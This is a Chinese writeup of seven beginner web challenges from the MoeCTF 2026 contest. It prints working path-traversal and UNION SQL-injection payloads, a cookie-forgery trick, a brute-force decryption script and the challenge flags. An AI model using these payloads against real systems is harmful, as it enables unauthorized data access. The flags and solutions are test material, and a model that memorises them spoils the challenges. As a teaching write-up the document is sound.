MoeCTF 2026 Web 安全与渗透测试 Writeup

西电 CTF 终端 · MoeCTF 2026 新生赛 · Web 安全与渗透测试方向


1. Web 安全与渗透测试入门指北(50 分)

考点:前端隐藏不等于安全,flag 藏在 HTML 注释里

这是 Web 方向的第一课。打开附件,是一份「Web 安全与渗透测试入门指北」的教学网页,从头讲 HTTP、前端安全、编码加密这些基础概念。

页面里埋了不少诱饵:控制台会输出一句「真正的 flag 不在控制台里,请继续检查 HTML」,正文还贴了个 fakeflag{This_is_an_example_fakeflag} 防止误提交。

题目页面

而题目本身也直接给了提示:按下 F12,检查 <head>,或者直接 Ctrl + Fflag。照做之后,在 <head> 顶部就有一段 HTML 注释:

1
2
3
4
5
6
7
8
<!--
你发现了藏在 HTML 源代码中的信息!

flag: moectf{W3Lc0me_t0_th3_W0rLd_0f_w3BseCur1ty!!}

欢迎来到 MoeCTF 2026 Web 方向。
请记住:前端隐藏不等于安全。
-->

这道题想传达的道理很简单:浏览器为了渲染页面,源码一定得下到本地,所以藏在前端的东西永远不是秘密

Flag: moectf{W3Lc0me_t0_th3_W0rLd_0f_w3BseCur1ty!!}


2. 查分系统(20 分)

考点:静态网页明文存储数据

附件是一个「数学分析期末成绩查询」的静态网页,只有一个学号输入框和查询按钮。

题目页面

既然是纯静态页面,数据就肯定在源码里。F12 一看,所有学生成绩都明文存在 <script>allStudentData 数组里,查询逻辑就是按学号 find() 匹配一下,再把该学生的所有字段原样显示出来:

1
const targetStudent = allStudentData.find(item => String(item[studentIdKey]) === inputId);

直接在源码里搜 moectf / flag,就定位到了藏 flag 的那条记录:

关键源码

「序号 47」的学生姓名是 moectf,它的「折合」字段就是 flag。其实也可以直接在页面输入学号 25192837465 查询,页面会原样把全部字段吐出来。

运行结果

Flag: moectf{y0u_c@n_reAd_th3_h+nn1}


3. 查分系统_revenge(80 分)

考点:AES-GCM 密钥由 8 位学号派生,暴力枚举

这是「查分系统」的复仇版。数据不再明文,而是被 AES-GCM 加密了。不过题目依旧是纯静态网页,所以解密逻辑都在前端。

题目页面

F12 看 <script>,关键逻辑长这样:

1
2
3
4
5
6
7
const commonIv = "bW9lY3RmMjAyNml2";   // base64 解码 -> "moectf2026iv"

async function makeKey(password) {
const raw = new TextEncoder().encode(password);
const hash = await crypto.subtle.digest("SHA-256", raw);
return crypto.subtle.importKey("raw", hash, { name: "AES-GCM" }, false, ["decrypt"]);
}

关键源码

问题就出在密钥派生太弱:密钥 = SHA-256(8 位学号),学号空间只有 00000000 ~ 99999999 共 10^8 种,而 IV 又是固定的。网页里嵌了 92 条 AES-GCM 密文,其中 record 46 明显最长(510 字节,其余约 440 字节),多出来的字段就是 flag,只需爆破这一条。

爆破脚本的核心就是遍历 10^8 个学号,用 SHA-256(学号) 当密钥去解密,再用「明文以 {" 开头」快速过滤:

1
2
3
4
5
6
7
8
9
10
11
for (let sid = 0; sid < 1e8; sid++) {
const s = String(sid).padStart(8, '0');
const key = crypto.createHash('sha256').update(s).digest();
const d = crypto.createDecipheriv('aes-256-gcm', key, IV);
d.setAuthTag(tag);
try {
const pt = Buffer.concat([d.update(ct), d.final()]);
const obj = JSON.parse(pt.toString('utf8'));
if (String(obj['学号']) === s) { console.log(pt.toString('utf8')); break; }
} catch (e) {}
}

完整脚本用 worker_threads 多核并行,大概 6 秒就爆破出学号 25178346,解密得到成绩单:

运行结果

Flag: moectf{y0u_c@n_reAd_th3_htmI_Annmnd_Buwuuurp_1IllIIlIIl11llII}


4. 归途(50 分)

考点:信息收集(源码 / 接口 / 响应头 / Cookie / robots.txt)

题目剧情是「猫猫被外星人绑架了」,需要收集 7 把钥匙碎片去救猫猫。思路很直白:7 个 Key 散落在网站各处,每个都是一段 base64,解码后按顺序拼接就是最终钥匙。

题目首页

前两把钥匙从首页就能拿到:Key1 藏在被 JS Packer 混淆的 <script> 里,解开后是 console.log("Key1-N2ghNUkkTQ==")Key2 直接躺在 HTML 注释里。

之后按提示一步步走:

Key 来源
Key3 GET /getKey?id=3 M0szeUVuKw==
Key4 GET /getKey?id=4 ZXJUaDFzbGE=
Key5 /getKey?id=4 的响应头 key: ITkzdA==
Key6 POST /getKey(登录 guest / p@33vv0rd) ZnwxbGFA
Key7 伪造 user=admin Cookie 访问 /info NGFAZzY5Nmc5

其中 Key6 提示 “Try login!”,登录页明文写了账号 guest / 密码 p@33vv0rd。登录后访问 /info 又提示 “Try to login the account of admin”,把 Cookie 改成 user=admin 再访问就能拿到 Key7:

Cookie 伪造拿 Key7

Key7 还提到「有一个文件限制了爬虫可以访问的内容」,说的是 robots.txt,里面披露了提交钥匙的页面 /f13ggggg

7 个 Key 依次 base64 解码后按顺序拼接:

1
7h!5I$M@0m4od3K3yEn+erTh1sla!93tf|1la@4a@g696g9

合成钥匙得到 flag

Flag: moectf{7dfe16a8-b12f-e7e5-ba48-658955ad2466}


5. 当零来敲门(50 分)

考点:WebSocket + 本地回环低延迟

这是一道挺有意思的「报数大作战」聊天室,题目还顺手给了一个 SSH 登录凭证。

题目页面

游戏规则是:POST /chat 提交 {user, msg}msg = 当前计数 + 1 就计数 +1;机器人「林林」每隔 10 秒广播一次「0」把计数清零。目标是在清零前让全局计数器连续数到 500

难点在于计数是全局共享的,走公网 + 浏览器很难在 10 秒内稳定完成 500 次严格递增。但用题目给的 SSH 账号(challenger / moectf2026)登录进去后,发现 Web 服务就监听在 127.0.0.1:8080——直接走本地回环,延迟几乎为 0,10 秒内完成 500 次递增绰绰有余。

在容器内用 aiohttp 异步连发,同时监听 /ws 广播抓 flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import asyncio, json, aiohttp

BASE = 'http://127.0.0.1:8080'

async def main():
async with aiohttp.ClientSession() as s:
ws = await s.ws_connect('ws://127.0.0.1:8080/ws')

flag = []
async def reader():
async for msg in ws:
d = json.loads(msg.data)
if d.get('type') == 'chat' and 'moectf' in d.get('text', ''):
flag.append(d['text'])

task = asyncio.create_task(reader())
await asyncio.sleep(1)

async def post(m):
async with s.post(BASE + '/chat', json={'user': 'solver', 'msg': m}) as r:
return await r.text()

await post(0) # 先重置计数
await asyncio.sleep(0.05)
for i in range(1, 501): # 快速报数 1 ~ 500
await post(i)

await asyncio.sleep(2)
print('FLAG:', flag[0] if flag else 'none')
task.cancel()

asyncio.run(main())

Flag: moectf{PYTHoN-L4nGU@ge-15-so_siMp1E-thaT_wE_CaN-M@ke_soMe-small-and-practical-tools0}


6. 古籍翻阅(100 分)

考点:路径穿越(Path Traversal)

打开「天一藏经阁」,首页列了 1000 本古籍的目录,每本书链接形如 /read?book=zi/zhuangzi/manuscript

题目首页

点开任意一本书都返回 404「此卷散佚」,说明大部分书只是摆着当障眼法。

正常书返回 404

关键在 /readbook 参数——它被直接拼进文件路径,没有任何过滤。路径结构是 分类/书名/文件名 的两级结构,于是尝试 ../../ 向上跳目录,直接读根目录的 flag:

1
curl 'http://<题目地址>/read?book=../../flag'

路径穿越拿 flag

Flag: moectf{re@d_the_r00t_5utr4_w1th_path_tr4v3r5@l}


7. 河湖小盗(100 分)

考点:数字型 SQL 注入(UNION)

「网信院往年试题检索系统」,只有一个按序号查询的表单,POST id/。正常查 id=1 返回「序号 / 登记人 / 公开科目」三列。

题目首页

id 参数存在数字型 SQL 注入。输入 1 OR 1=1 返回了全部 5 条记录,说明注入点有效且没对 OR 做过滤:

注入返回全部记录

接下来就是常规的 UNION 注入流程——先判断列数(3 列),version() 返回 8.0.46 确认是 MySQL,再枚举 information_schema 找到 flag_table

1
2
3
4
-1 UNION SELECT 1,2,3                                              -- 确认 3 列
-1 UNION SELECT 1,table_name,3 FROM information_schema.tables -- 枚举业务表
-1 UNION SELECT column_name,data_type,3 FROM information_schema.columns WHERE table_name='flag_table' -- 枚举 flag_table 列
-1 UNION SELECT 1,flag,3 FROM flag_table -- 读 flag

flag_table 只有 idflag 两列,直接读出来即可:

拿到 flag

Flag: moectf{h3re_i5_your_7e$7_pap3r}